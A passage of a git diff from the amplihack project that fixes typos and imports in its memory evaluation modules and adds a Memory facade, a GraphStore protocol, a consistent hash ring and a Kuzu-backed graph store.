b/src/amplihack/memory/evaluation/__init__.py @@ -1,6 +1,6 @@ -"""Evaluation framework fer memory backend quality and performance. +"""Evaluation framework for memory backend quality and performance. -Provides comprehensive metrics fer comparing memory backends: +Provides comprehensive metrics for comparing memory backends: - Quality: Relevance, precision, recall, ranking - Performance: Latency, throughput, scalability - Reliability: Data integrity, concurrent safety @@ -8,7 +8,7 @@ Philosophy: - Evidence-based: Real benchmark data, not guesswork - Comprehensive: All three evaluation dimensions -- Fair comparison: Same test data fer all backends +- Fair comparison: Same test data for all backends Public API: QualityEvaluator: Measures retrieval quality diff --git a/src/amplihack/memory/evaluation/comparison.py b/src/amplihack/memory/evaluation/comparison.py index 1ab47e033..5b647ce6d 100644 --- a/src/amplihack/memory/evaluation/comparison.py +++ b/src/amplihack/memory/evaluation/comparison.py @@ -5,7 +5,7 @@ Philosophy: - Comprehensive: All three evaluation dimensions - Fair: Same test data for all backends -- Actionable: Clear recommendations fer use cases +- Actionable: Clear recommendations for use cases Public API: BackendComparison: Main comparison class @@ -18,7 +18,7 @@ from datetime import datetime from typing import Any -from ..backends import create_backend +from ..sqlite_backend import create_backend from ..coordinator import MemoryCoordinator from .performance_evaluator import PerformanceEvaluator, PerformanceMetrics from .quality_evaluator import QualityEvaluator, QualityMetrics diff --git a/src/amplihack/memory/evaluation/performance_evaluator.py b/src/amplihack/memory/evaluation/performance_evaluator.py index 75621d638..02cd78736 100644 --- a/src/amplihack/memory/evaluation/performance_evaluator.py +++ b/src/amplihack/memory/evaluation/performance_evaluator.py @@ -1,4 +1,4 @@ -"""Performance evaluator fer memory backends. +"""Performance evaluator for memory backends. Measures speed, throughput, and scalability: - Storage latency: Time to store memories (ms) @@ -10,7 +10,7 @@ Philosophy: - Real benchmarks: Actual timing measurements - Multiple scales: Test 100, 1000, 10000 memories -- Fair comparison: Same data fer all backends +- Fair comparison: Same data for all backends Public API: PerformanceEvaluator: Main evaluator class @@ -24,7 +24,7 @@ from pathlib import Path from ..coordinator import MemoryCoordinator, RetrievalQuery, StorageRequest -from ..types import MemoryType +from ..models import MemoryType logger = logging.getLogger(__name__) diff --git a/src/amplihack/memory/evaluation/quality_evaluator.py b/src/amplihack/memory/evaluation/quality_evaluator.py index 77e57d79c..9feddcae9 100644 --- a/src/amplihack/memory/evaluation/quality_evaluator.py +++ b/src/amplihack/memory/evaluation/quality_evaluator.py @@ -1,4 +1,4 @@ -"""Quality evaluator fer memory retrieval. +"""Quality evaluator for memory retrieval. Measures how well backends retrieve relevant memories: - Relevance: How relevant are retrieved memories? @@ -9,7 +9,7 @@ Philosophy: - Ground truth: Test set with known relevant memories - Comprehensive: Multiple query types and memory types -- Fair: Same test data fer all backends +- Fair: Same test data for all backends Public API: QualityEvaluator: Main evaluator class @@ -21,7 +21,7 @@ from ..coordinator import MemoryCoordinator, RetrievalQuery, StorageRequest from ..models import MemoryEntry -from ..types import MemoryType +from ..models import MemoryType logger = logging.getLogger(__name__) @@ -104,7 +104,7 @@ async def evaluate(self, test_queries: list[QueryTestCase]) -> QualityMetrics: ) retrieved_memories = await self.coordinator.retrieve(query) - # Calculate metrics fer this query + # Calculate metrics for this query retrieved_ids = {m.id for m in retrieved_memories} relevant_ids = set(test_query.relevant_memory_ids) @@ -180,7 +180,7 @@ def _calculate_ndcg( dcg = 0.0 for i, memory in enumerate(retrieved_memories): if memory.id in relevant_ids: - # Relevance = 1 fer relevant, 0 fer non-relevant + # Relevance = 1 for relevant, 0 for non-relevant relevance = 1.0 # Discount by position (log2(i+2) because i starts at 0) dcg += relevance / (i + 2).bit_length() @@ -196,7 +196,7 @@ def _calculate_ndcg( return 0.0 async def create_test_set(self, num_memories: int = 50) -> list[QueryTestCase]: - """Create a standard test set fer evaluation. + """Create a standard test set for evaluation. Creates diverse memories and queries to test retrieval quality. diff --git a/src/amplihack/memory/evaluation/reliability_evaluator.py b/src/amplihack/memory/evaluation/reliability_evaluator.py index 849c2dc19..4a2a5c15c 100644 --- a/src/amplihack/memory/evaluation/reliability_evaluator.py +++ b/src/amplihack/memory/evaluation/reliability_evaluator.py @@ -1,4 +1,4 @@ -"""Reliability evaluator fer memory backends. +"""Reliability evaluator for memory backends. Measures robustness and data integrity: - Data integrity: Can retrieve what was stored? @@ -20,7 +20,7 @@ from dataclasses import dataclass from ..coordinator import MemoryCoordinator, RetrievalQuery, StorageRequest -from ..types import MemoryType +from ..models import MemoryType logger = logging.getLogger(__name__) @@ -143,7 +143,7 @@ async def _test_concurrent_safety(self) -> float: num_concurrent_ops = 10 successful_ops = 0 - # Create tasks fer concurrent storage + # Create tasks for concurrent storage async def store_memory(index: int) -> bool: try: request = StorageRequest( diff --git a/src/amplihack/memory/facade.py b/src/amplihack/memory/facade.py new file mode 100644 index 000000000..7df2d94f0 --- /dev/null +++ b/src/amplihack/memory/facade.py @@ -0,0 +1,495 @@ +"""Memory facade — simple remember() / recall() API over the full memory stack. + +Abstracts backend selection, config resolution, and distributed topology +behind a minimal two-method interface that any agent can use without +understanding the underlying complexity. + +Usage: + from amplihack.memory import Memory + + mem = Memory("my-agent") + mem.remember("The sky is blue") + facts = mem.recall("sky colour") + mem.close() + +Topology modes: + single (default): local-only CognitiveAdapter, no hive + distributed: local CognitiveAdapter + shared DistributedHiveGraph +""" + +from __future__ import annotations + +import logging +from pathlib import Path +from typing import Any + +from .config import MemoryConfig +from .graph_store import GraphStore + +logger = logging.getLogger(__name__) + + +class Memory: + """High-level memory facade with remember() / recall() API. + + Args: + agent_name: Unique identifier for this agent's memory partition. + topology: "single" (default) or "distributed". + backend: "cognitive" (default) or "hierarchical". + storage_path: Override storage directory. + shared_hive: Existing hive instance to join (distributed topology). + model: Optional model name for cognitive backend. + kuzu_buffer_pool_mb: Kuzu buffer pool size in MB. + replication_factor: DHT replication factor (distributed topology). + query_fanout: Max shards queried per request (distributed topology). + gossip_enabled: Enable bloom-filter gossip (distributed topology). + gossip_rounds: Rounds to run when run_gossip() is called. + **kwargs: Additional config overrides forwarded to MemoryConfig.resolve(). + """ + + def __init__( + self, + agent_name: str, + *, + topology: str | None = None, + backend: str | None = None, + storage_path: str | None = None, + shared_hive: Any | None = None, + model: str | None = None, + kuzu_buffer_pool_mb: int | None = None, + replication_factor: int | None = None, + query_fanout: int | None = None, + gossip_enabled: bool | None = None, + gossip_rounds: int | None = None, + memory_transport: str | None = None, + memory_connection_string: str | None = None, + **kwargs: Any, + ) -> None: + self._agent_name = agent_name + + # Resolve configuration + explicit: dict[str, Any] = {} + if topology is not None: + explicit["topology"] = topology + if backend is not None: + explicit["backend"] = backend + if storage_path is not None: + explicit["storage_path"] = storage_path + if shared_hive is not None: + explicit["shared_hive"] = shared_hive + if model is not None: + explicit["model"] = model + if kuzu_buffer_pool_mb is not None: + explicit["kuzu_buffer_pool_mb"] = kuzu_buffer_pool_mb + if replication_factor is not None: + explicit["replication_factor"] = replication_factor + if query_fanout is not None: + explicit["query_fanout"] = query_fanout + if gossip_enabled is not None: + explicit["gossip_enabled"] = gossip_enabled + if gossip_rounds is not None: + explicit["gossip_rounds"] = gossip_rounds + if memory_transport is not None: + explicit["memory_transport"] = memory_transport + if memory_connection_string is not None: + explicit["memory_connection_string"] = memory_connection_string + explicit.update(kwargs) + + self._cfg = MemoryConfig.resolve(agent_name, **explicit) + + self._hive: Any = None + self._adapter: Any = None + self._graph_store: GraphStore | None = None + # Lazily created LearningAgent for LLM fact extraction in store() + self._learning_agent: Any = None + + self._setup() + + # ------------------------------------------------------------------ + # Internal setup + # ------------------------------------------------------------------ + + def _setup(self) -> None: + """Build backend adapter and hive (if distributed).""" + cfg = self._cfg + + # Determine if we are using a network transport for distribution. + # When a non-local transport is configured, NetworkGraphStore handles + # cross-agent replication, so we skip the legacy DistributedHiveGraph. + _transport = getattr(cfg, "memory_transport", "local") or "local" + _use_network = _transport != "local" + + # --- Hive setup (distributed topology, local transport only) --- + if cfg.topology == "distributed" and not _use_network: + self._hive = self._build_hive(cfg) + elif cfg.shared_hive is not None: + # Caller supplied a hive directly + self._hive = cfg.shared_hive + + # --- GraphStore setup --- + self._graph_store = self._build_graph_store(cfg) + + # --- Adapter setup --- + if cfg.backend == "hierarchical": + self._adapter = self._build_hierarchical(cfg) + else: + self._adapter = self._build_cognitive(cfg) + + # --- Wire recall_fn: fix dual-storage path --- + # NetworkGraphStore's search_query handler searches its own Kuzu DB + # (populated only via CREATE_NODE replication). LEARN_CONTENT facts go + # into the CognitiveAdapter's Kuzu DB instead. Setting recall_fn on the + # NetworkGraphStore makes search_query route through the correct store. + if _use_network and hasattr(self._graph_store, "recall_fn"): + if self._adapter is not None and hasattr(self._adapter, "search"): + self._graph_store.recall_fn = self._adapter.search + logger.info( + "Memory[%s]: wired NetworkGraphStore.recall_fn → CognitiveAdapter.search", + cfg.agent_name, + ) + + def _build_graph_store(self, cfg: "MemoryConfig") -> "GraphStore": + """Construct the appropriate GraphStore for the resolved config.""" + transport = getattr(cfg, "memory_transport", "local") or "local" + conn_str = getattr(cfg, "memory_connection_string", "") or "" + + if cfg.topology == "distributed": + # When a non-local transport is configured, wrap a KuzuGraphStore + # in NetworkGraphStore so all agents share knowledge via the bus. + if transport != "local": + from pathlib import Path as _Path + + from .kuzu_store import KuzuGraphStore + from .network_store import NetworkGraphStore + + db_path = _Path(cfg.storage_path) / "graph_store" if cfg.storage_path else None + buffer_bytes = cfg.kuzu_buffer_pool_mb * 1024 * 1024 + local_base: GraphStore = KuzuGraphStore( + db_path=db_path, + buffer_pool_size=buffer_bytes, + ) + logger.info( + "Memory[%s]: distributed topology via NetworkGraphStore (transport=%s)", + cfg.agent_name, + transport, + ) + return NetworkGraphStore( + agent_id=cfg.agent_name or "agent", + local_store=local_base, + transport=transport, + connection_string=conn_str, + ) + + # Fallback: legacy DHT-based sharded store (local transport only) + from .distributed_store import DistributedGraphStore + + store = DistributedGraphStore( + replication_factor=cfg.replication_factor, + query_fanout=cfg.query_fanout, + shard_backend=cfg.shard_backend, + storage_path=cfg.storage_path or "/tmp/amplihack-shards", + kuzu_buffer_pool_mb=cfg.kuzu_buffer_pool_mb, + ) + store.add_agent(cfg.agent_name) + return store + + # cognitive (default) — requires Kuzu; raises ImportError if unavailable + from pathlib import Path as _Path + + from .kuzu_store import KuzuGraphStore + + db_path = _Path(cfg.storage_path) / "graph_store" if cfg.storage_path else None + buffer_bytes = cfg.kuzu_buffer_pool_mb * 1024 * 1024 + local: GraphStore = KuzuGraphStore( + db_path=db_path, + buffer_pool_size=buffer_bytes, + ) + + # Wrap with NetworkGraphStore if a non-local transport is configured + if transport != "local": + from .network_store import NetworkGraphStore + + return NetworkGraphStore( + agent_id=cfg.agent_name or "agent", + local_store=local, + transport=transport, + connection_string=conn_str, + ) + + return local + + def _build_cognitive(self, cfg: MemoryConfig) -> Any: + """Create a CognitiveAdapter with the resolved config.""" + from amplihack.agents.goal_seeking.cognitive_adapter import CognitiveAdapter + + db_path = Path(cfg.storage_path) if cfg.storage_path else None + buffer_pool_size = cfg.kuzu_buffer_pool_mb * 1024 * 1024 + + return CognitiveAdapter( + agent_name=cfg.agent_name, + db_path=db_path, + hive_store=self._hive, + buffer_pool_size=buffer_pool_size, + ) + + def _build_hierarchical(self, cfg: MemoryConfig) -> Any: + """Create a HierarchicalMemory instance.""" + from amplihack.agents.goal_seeking.hierarchical_memory import HierarchicalMemory + + db_path = Path(cfg.storage_path) if cfg.storage_path else None + return HierarchicalMemory(agent_name=cfg.agent_name, db_path=db_path) + + def _build_hive(self, cfg: MemoryConfig) -> Any: + """Create or reuse a DistributedHiveGraph.""" + if cfg.shared_hive is not None: + hive = cfg.shared_hive + else: + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, + ) + + hive = DistributedHiveGraph( + hive_id=f"hive-{cfg.agent_name}", + replication_factor=cfg.replication_factor, + query_fanout=cfg.query_fanout, + enable_gossip=cfg.gossip_enabled, + ) + + # Register this agent in the hive + if hasattr(hive, "get_agent") and hasattr(hive, "register_agent"): + if hive.get_agent(cfg.agent_name) is None: + hive.register_agent(cfg.agent_name) + + return hive + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + @property + def graph_store(self) -> "GraphStore | None": + """Return the underlying GraphStore for direct graph operations.""" + return self._graph_store + + def remember(self, content: str) -> None: + """Store a piece of knowledge. + + Extracts the content as a fact and stores it locally via the adapter. + When topology=distributed the adapter auto-promotes to the shared hive. + + Args: + content: Free-text fact or statement to remember. + """ + if not content or not content.strip(): + return + + content = content.strip() + + # CognitiveAdapter / HierarchicalMemory — use store_fact + if hasattr(self._adapter, "store_fact"): + # Use "general" as a catch-all concept; the content is the fact. + self._adapter.store_fact("general", content) + else: + logger.warning("Adapter %r has no store_fact method", type(self._adapter).__name__) + + def store(self, content: str) -> dict[str, Any]: + """Store content with internal LLM fact extraction. + + Unlike ``remember()`` which stores content verbatim, ``store()`` + uses an LLM to extract structured facts from the content before + storing them. This absorbs what ``LearningAgent.learn_from_content()`` + previously did, so callers no longer need to import LearningAgent. + + Args: + content: Free-text content (article, log entry, event text, etc.) + + Returns: + Dict with ``facts_extracted`` and ``facts_stored`` counts. + """ + if not content or not content.strip(): + return {"facts_extracted": 0, "facts_stored": 0, "content_summary": ""} + + agent = self._get_or_create_learning_agent() + return agent.learn_from_content(content) + + def _get_or_create_learning_agent(self) -> Any: + """Return (lazily created) LearningAgent wired to this facade's adapter.""" + if self._learning_agent is None: + from amplihack.agents.goal_seeking.learning_agent import LearningAgent # noqa: PLC0415 + + self._learning_agent = LearningAgent( + agent_name=self._cfg.agent_name or self._agent_name, + model=self._cfg.model, + storage_path=Path(self._cfg.storage_path) if self._cfg.storage_path else None, + use_hierarchical=self._cfg.backend == "hierarchical", + hive_store=self._hive, + ) + # Wire LearningAgent to use this facade's adapter so both + # store() and remember() write to the same underlying Kuzu DB. + if self._adapter is not None: + self._learning_agent.memory = self._adapter + return self._learning_agent + + def recall(self, question: str, limit: int = 20) -> list[str]: + """Search memory for facts relevant to the question. + + Searches local memory and, when topology=distributed, the shared hive. + Deduplicates results before returning. + + Args: + question: Natural-language query. + limit: Maximum number of results. + + Returns: + List of relevant fact strings, deduplicated. + """ + if not question or not question.strip(): + return [] + + # CognitiveAdapter / HierarchicalMemory + if hasattr(self._adapter, "search"): + raw = self._adapter.search(question.strip(), limit=limit) + return self._extract_strings(raw, limit) + + return [] + + def receive_events(self) -> list[Any]: + """Drain and return all pending LEARN_CONTENT events from the network transport. + + Called by the OODA loop in agent_entrypoint.py so that incoming + LEARN_CONTENT messages published to the Service Bus are surfaced for + processing via memory.remember(). + + Returns: + List of BusEvent objects. Empty list when no transport is active + or no events are pending. + """ + if self._graph_store is not None and hasattr(self._graph_store, "receive_events"): + return self._graph_store.receive_events() + return [] + + def receive_query_events(self) -> list[Any]: + """Drain and return all pending QUERY events from the network transport. + + Called by the OODA loop in agent_entrypoint.py so that incoming + QUERY messages can be processed via memory.recall() and responded to. + + Returns: + List of BusEvent objects (QUERY type). Empty list when no transport + is active or no query events are pending. + """ + if self._graph_store is not None and hasattr(self._graph_store, "receive_query_events"): + return self._graph_store.receive_query_events() + return [] + + def send_query_response( + self, + query_id: str, + question: str, + results: list[str], + ) -> None: + """Publish a QUERY_RESPONSE with cognitive memory recall results. + + Called by the OODA loop after processing a QUERY event via recall(). + + Args: + query_id: The query_id from the original QUERY event. + question: The question that was asked. + results: Recalled fact strings from this agent's cognitive memory. + """ + if self._graph_store is not None and hasattr(self._graph_store, "send_query_response"): + self._graph_store.send_query_response(query_id, question, results) + + def close(self) -> None: + """Release all resources.""" + if self._adapter is not None and hasattr(self._adapter, "close"): + try: + self._adapter.close() + except Exception: + logger.debug("Error closing adapter", exc_info=True) + if self._graph_store is not None: + try: + self._graph_store.close() + except Exception: + logger.debug("Error closing graph_store", exc_info=True) + if self._hive is not None and hasattr(self._hive, "close"): + try: + self._hive.close() + except Exception: + logger.debug("Error closing hive", exc_info=True) + + def stats(self) -> dict[str, Any]: + """Return memory statistics.""" + result: dict[str, Any] = { + "agent_name": self._agent_name, + "backend": self._cfg.backend, + "topology": self._cfg.topology, + } + + if hasattr(self._adapter, "get_statistics"): + try: + result["adapter_stats"] = self._adapter.get_statistics() + except Exception: + pass + + if self._hive is not None and hasattr(self._hive, "get_stats"): + try: + result["hive_stats"] = self._hive.get_stats() + except Exception: + pass + + return result + + def run_gossip(self) -> None: + """Manually trigger a gossip round (distributed topology only). + + Runs gossip_rounds rounds on the shared hive. + """ + if self._hive is None: + return + + rounds = self._cfg.gossip_rounds + if hasattr(self._hive, "run_gossip_round"): + for _ in range(rounds): + try: + self._hive.run_gossip_round() + except Exception: + logger.debug("Gossip round failed", exc_info=True) + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + @staticmethod + def _extract_strings(raw: list[dict[str, Any]], limit: int) -> list[str]: + """Convert adapter result dicts to plain strings, deduplicating.""" + seen: set[str] = set() + results: list[str] = [] + for item in raw: + # Try common keys used by CognitiveAdapter / HierarchicalMemory + text = ( + item.get("outcome") + or item.get("fact") + or item.get("content") + or item.get("text") + or "" + ) + if text and text not in seen: + seen.add(text) + results.append(text) + if len(results) >= limit: + break + return results + + # ------------------------------------------------------------------ + # Context manager support + # ------------------------------------------------------------------ + + def __enter__(self) -> "Memory": + return self + + def __exit__(self, *args: Any) -> None: + self.close() + + +__all__ = ["Memory"] diff --git a/src/amplihack/memory/graph_store.py b/src/amplihack/memory/graph_store.py new file mode 100644 index 000000000..e5ece8fc0 --- /dev/null +++ b/src/amplihack/memory/graph_store.py @@ -0,0 +1,217 @@ +"""GraphStore Protocol — abstract interface for graph persistence backends. + +Defines a @runtime_checkable Protocol that all graph backends must implement, +plus cognitive memory schema constants for the six node types. + +Usage: + from amplihack.memory.graph_store import GraphStore, SEMANTIC_SCHEMA + + def use_store(store: GraphStore) -> None: + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + node_id = store.create_node("semantic_memory", {"concept": "sky", "content": "blue"}) +""" + +from __future__ import annotations + +from typing import Any, Protocol, runtime_checkable + +# --------------------------------------------------------------------------- +# Cognitive memory node schemas +# --------------------------------------------------------------------------- + +SEMANTIC_SCHEMA: dict[str, str] = { + "node_id": "STRING", + "agent_name": "STRING", + "concept": "STRING", + "content": "STRING", + "confidence": "DOUBLE", + "source": "STRING", + "timestamp": "DOUBLE", +} + +EPISODIC_SCHEMA: dict[str, str] = { + "node_id": "STRING", + "agent_name": "STRING", + "event_description": "STRING", + "context": "STRING", + "temporal_index": "INT64", + "consolidated": "BOOLEAN", +} + +PROCEDURAL_SCHEMA: dict[str, str] = { + "node_id": "STRING", + "agent_name": "STRING", + "skill_name": "STRING", + "steps": "STRING", + "success_rate": "DOUBLE", + "last_used": "DOUBLE", +} + +WORKING_SCHEMA: dict[str, str] = { + "node_id": "STRING", + "agent_name": "STRING", + "content": "STRING", + "priority": "INT64", + "expires_at": "DOUBLE", +} + +STRATEGIC_SCHEMA: dict[str, str] = { + "node_id": "STRING", + "agent_name": "STRING", + "goal": "STRING", + "rationale": "STRING", + "status": "STRING", + "created_at": "DOUBLE", +} + +SOCIAL_SCHEMA: dict[str, str] = { + "node_id": "STRING", + "agent_name": "STRING", + "entity_name": "STRING", + "relationship_type": "STRING", + "trust_score": "DOUBLE", + "last_interaction": "DOUBLE", +} + +# --------------------------------------------------------------------------- +# Relationship schemas +# --------------------------------------------------------------------------- + +RELATED_TO_SCHEMA: dict[str, str] = { + "weight": "DOUBLE", + "relation_type": "STRING", +} + +LEADS_TO_SCHEMA: dict[str, str] = { + "probability": "DOUBLE", +} + +INFORMED_BY_SCHEMA: dict[str, str] = { + "confidence": "DOUBLE", +} + + +# --------------------------------------------------------------------------- +# Protocol +# --------------------------------------------------------------------------- + + +@runtime_checkable +class GraphStore(Protocol): + """Protocol for graph persistence backends. + + All backends (in-memory, Kuzu, distributed) must implement these 12 + methods. Use @runtime_checkable to allow isinstance() checks. + """ + + def create_node(self, table: str, properties: dict[str, Any]) -> str: + """Create a node in the given table and return its generated node_id.""" + ... + + def get_node(self, table: str, node_id: str) -> dict[str, Any] | None: + """Retrieve a node by ID. Returns None if not found.""" + ... + + def update_node(self, table: str, node_id: str, properties: dict[str, Any]) -> None: + """Update an existing node's properties.""" + ... + + def delete_node(self, table: str, node_id: str) -> None: + """Delete a node by ID.""" + ... + + def query_nodes( + self, + table: str, + filters: dict[str, Any] | None = None, + limit: int = 100, + ) -> list[dict[str, Any]]: + """Query nodes with optional equality filters. Returns up to limit results.""" + ... + + def search_nodes( + self, + table: str, + text: str, + fields: list[str] | None = None, + limit: int = 20, + ) -> list[dict[str, Any]]: + """Full-text keyword search across specified fields (or all string fields).""" + ... + + def create_edge( + self, + rel_type: str, + from_table: str, + from_id: str, + to_table: str, + to_id: str, + properties: dict[str, Any] | None = None, + ) -> None: + """Create a directed edge between two nodes.""" + ... + + def get_edges( + self, + node_id: str, + rel_type: str | None = None, + direction: str = "out", + ) -> list[dict[str, Any]]: + """Get edges for a node. direction: 'out', 'in', or 'both'.""" + ... + + def delete_edge(self, rel_type: str, from_id: str, to_id: str) -> None: + """Delete an edge between two nodes.""" + ... + + def ensure_table(self, table: str, schema: dict[str, str]) -> None: + """Ensure a node table exists with the given schema (idempotent).""" + ... + + def ensure_rel_table( + self, + rel_type: str, + from_table: str, + to_table: str, + schema: dict[str, str] | None = None, + ) -> None: + """Ensure a relationship table exists (idempotent).""" + ... + + def close(self) -> None: + """Release any resources held by the backend.""" + ... + + def get_all_node_ids(self, table: str | None = None) -> set[str]: + """Get all node IDs, optionally filtered by table.""" + ... + + def export_nodes(self, node_ids: list[str] | None = None) -> list[tuple[str, str, dict]]: + """Export nodes as (table, node_id, properties) tuples.""" + ... + + def export_edges(self, node_ids: list[str] | None = None) -> list[tuple[str, str, str, dict]]: + """Export edges as (rel_type, from_id, to_id, properties) tuples.""" + ... + + def import_nodes(self, nodes: list[tuple[str, str, dict]]) -> int: + """Import nodes. Returns count of new nodes stored (skips duplicates).""" + ... + + def import_edges(self, edges: list[tuple[str, str, str, dict]]) -> int: + """Import edges. Returns count stored.""" + ... + + +__all__ = [ + "GraphStore", + "SEMANTIC_SCHEMA", + "EPISODIC_SCHEMA", + "PROCEDURAL_SCHEMA", + "WORKING_SCHEMA", + "STRATEGIC_SCHEMA", + "SOCIAL_SCHEMA", + "RELATED_TO_SCHEMA", + "LEADS_TO_SCHEMA", + "INFORMED_BY_SCHEMA", +] diff --git a/src/amplihack/memory/hash_ring.py b/src/amplihack/memory/hash_ring.py new file mode 100644 index 000000000..49b853dad --- /dev/null +++ b/src/amplihack/memory/hash_ring.py @@ -0,0 +1,121 @@ +"""Consistent hash ring for distributing data across agents. + +Extracted from agents/goal_seeking/hive_mind/dht.py so that the +memory package can use it standalone without depending on the agents +subpackage (which is not published to PyPI). + +Public API: + HashRing: Consistent hash ring mapping keys to agents + _hash_key: Hash a string key to a ring position +""" + +from __future__ import annotations + +import hashlib +import threading +from bisect import bisect_right, insort + +# Number of virtual nodes per agent for even distribution +VIRTUAL_NODES_PER_AGENT = 64 +# Default replication factor +DEFAULT_REPLICATION_FACTOR = 3 +# Hash ring size (2^32) +RING_SIZE = 2**32 + + +def _hash_key(key: str) -> int: + """Hash a string key to a position on the ring (0 to RING_SIZE-1).""" + digest = hashlib.md5(key.encode("utf-8")).hexdigest() + return int(digest[:8], 16) + + +class HashRing: + """Consistent hash ring for distributing facts across agents. + + Uses virtual nodes for even distribution. Each agent gets + VIRTUAL_NODES_PER_AGENT positions on the ring. + + Thread-safe for concurrent agent join/leave operations. + """ + + def __init__(self, replication_factor: int = DEFAULT_REPLICATION_FACTOR): + self._lock = threading.Lock() + self._ring: list[int] = [] # Sorted ring positions + self._ring_to_agent: dict[int, str] = {} # Position → agent_id + self._agent_positions: dict[str, list[int]] = {} # agent → positions + self._replication_factor = replication_factor + + @property + def replication_factor(self) -> int: + return self._replication_factor + + def add_agent(self, agent_id: str) -> None: + """Add an agent to the ring with virtual nodes.""" + with self._lock: + if agent_id in self._agent_positions: + return # Already added + positions = [] + for i in range(VIRTUAL_NODES_PER_AGENT): + vnode_key = f"{agent_id}:vnode:{i}" + pos = _hash_key(vnode_key) + self._ring_to_agent[pos] = agent_id + insort(self._ring, pos) + positions.append(pos) + self._agent_positions[agent_id] = positions + + def remove_agent(self, agent_id: str) -> None: + """Remove an agent and its virtual nodes from the ring.""" + with self._lock: + positions = self._agent_positions.pop(agent_id, []) + for pos in positions: + self._ring_to_agent.pop(pos, None) + # Rebuild sorted ring + self._ring = sorted(self._ring_to_agent.keys()) + + def get_agents(self, key: str, n: int | None = None) -> list[str]: + """Find the N agents responsible for a key (clockwise from hash). + + Returns up to min(n, num_unique_agents) distinct agent IDs. + """ + if n is None: + n = self._replication_factor + + with self._lock: + if not self._ring: + return [] + + pos = _hash_key(key) + idx = bisect_right(self._ring, pos) + + agents_seen: list[str] = [] + ring_len = len(self._ring) + unique = set() + + for offset in range(ring_len): + ring_pos = self._ring[(idx + offset) % ring_len] + agent = self._ring_to_agent[ring_pos] + if agent not in unique: + unique.add(agent) + agents_seen.append(agent) + if len(agents_seen) >= n: + break + + return agents_seen + + def get_primary_agent(self, key: str) -> str | None: + """Get the primary (first) agent responsible for a key.""" + agents = self.get_agents(key, n=1) + return agents[0] if agents else None + + @property + def agent_count(self) -> int: + with self._lock: + return len(self._agent_positions) + + @property + def agent_ids(self) -> list[str]: + with self._lock: + return list(self._agent_positions.keys()) + + +__all__ = ["HashRing", "_hash_key", "VIRTUAL_NODES_PER_AGENT", "DEFAULT_REPLICATION_FACTOR"] diff --git a/src/amplihack/memory/kuzu/code_graph.py b/src/amplihack/memory/kuzu/code_graph.py index 2ffa1ca7f..a6f14afff 100644 --- a/src/amplihack/memory/kuzu/code_graph.py +++ b/src/amplihack/memory/kuzu/code_graph.py @@ -137,12 +137,15 @@ def _ensure_code_graph_schema(self): """, """ CREATE REL TABLE IF NOT EXISTS CLASS_DEFINED_IN ( - FROM CodeClass TO CodeFile + FROM CodeClass TO CodeFile, + line_number INT64 DEFAULT 0 ) """, """ CREATE REL TABLE IF NOT EXISTS METHOD_OF ( - FROM CodeFunction TO CodeClass + FROM CodeFunction TO CodeClass, + method_type STRING DEFAULT 'instance', + visibility STRING DEFAULT 'public' ) """, """ @@ -169,8 +172,8 @@ def _ensure_code_graph_schema(self): """ CREATE REL TABLE IF NOT EXISTS IMPORTS ( FROM CodeFile TO CodeFile, - symbol STRING, - alias STRING + import_type STRING DEFAULT '', + alias STRING DEFAULT '' ) """, ] @@ -446,11 +449,12 @@ def _import_classes(self, classes: list[dict[str, Any]]) -> int: """ MATCH (c:CodeClass {class_id: $class_id}) MATCH (cf:CodeFile {file_id: $file_id}) - CREATE (c)-[:CLASS_DEFINED_IN]->(cf) + CREATE (c)-[:CLASS_DEFINED_IN {line_number: $line_number}]->(cf) """, { "class_id": class_id, "file_id": file_path, + "line_number": cls.get("line_number", 0), }, ) diff --git a/src/amplihack/memory/kuzu_store.py b/src/amplihack/memory/kuzu_store.py new file mode 100644 index 000000000..64795553d --- /dev/null +++ b/src/amplihack/memory/kuzu_store.py @@ -0,0 +1,483 @@ +"""KuzuGraphStore — kuzu.Database-backed GraphStore implementation. + +Maps the GraphStore protocol to Kùzu Cypher queries: + - create_node → CREATE (:table {properties}) + - get_node → MATCH (n:table) WHERE n.node_id = $id RETURN n + - query_nodes → MATCH (n:table) WHERE ... RETURN n LIMIT k + - search_nodes → MATCH (n:table) WHERE CONTAINS(n.field, $text) RETURN n + - create_edge → MATCH (a), (b) CREATE (a)-[:rel]->(b) + - get_edges → MATCH (n)-[r:rel]->() WHERE ... + +Requires kuzu to be installed (`uv add kuzu`). +""" + +from __future__ import annotations + +import re +import threading +import uuid +from pathlib import Path +from typing import Any + + +def _validate_identifier(name: str) -> None: + """Validate that name is a safe Cypher identifier to prevent injection.""" + if not re.match(r"^[a-zA-Z_][a-zA-Z0-9_]*$", name): + raise ValueError(f"Invalid identifier: {name!r}") + + +# Kuzu type → Python type coercion helpers +_KUZU_INT_TYPES = {"INT64", "INT32", "INT16", "INT8", "UINT64", "UINT32", "UINT16", "UINT8"} +_KUZU_FLOAT_TYPES = {"DOUBLE", "FLOAT"} + + +def _coerce(value: Any, kuzu_type: str) -> Any: + """Coerce a Python value to match the declared Kuzu column type.""" + if value is None: + return None + t = kuzu_type.upper() + if t in _KUZU_INT_TYPES: + return int(value) + if t in _KUZU_FLOAT_TYPES: + return float(value) + if t == "BOOLEAN": + return bool(value) + return str(value) if not isinstance(value, str) else value + + +class KuzuGraphStore: + """Kùzu-backed GraphStore. + + Args: + db_path: Path to the Kùzu database directory. Use None for in-memory. + buffer_pool_size: Buffer pool size in bytes (default 64 MB). + max_db_size: Max database size in bytes (default 1 GB). + """ + + def __init__( + self, + db_path: str | Path | None = None, + buffer_pool_size: int = 64 * 1024 * 1024, + max_db_size: int = 1024 * 1024 * 1024, + ) -> None: + import kuzu + + db_arg = str(db_path) if db_path is not None else None + if db_path is not None: + p = Path(db_path) + # Kuzu creates its own db directory; remove empty stale dir if present + if p.is_dir() and not any(p.iterdir()): + p.rmdir() + p.parent.mkdir(parents=True, exist_ok=True) + self._db = kuzu.Database( + db_arg, + buffer_pool_size=buffer_pool_size, + max_db_size=max_db_size, + ) + self._conn = kuzu.Connection(self._db) + self._lock = threading.RLock() + # Track known tables to avoid duplicate CREATE TABLE + self._known_tables: set[str] = set() + self._known_rel_tables: set[str] = set() + # Cache schemas for coercion + self._schemas: dict[str, dict[str, str]] = {} + # rel_type -> (from_table, to_table) for import_edges + self._rel_table_map: dict[str, tuple[str, str]] = {} + + # 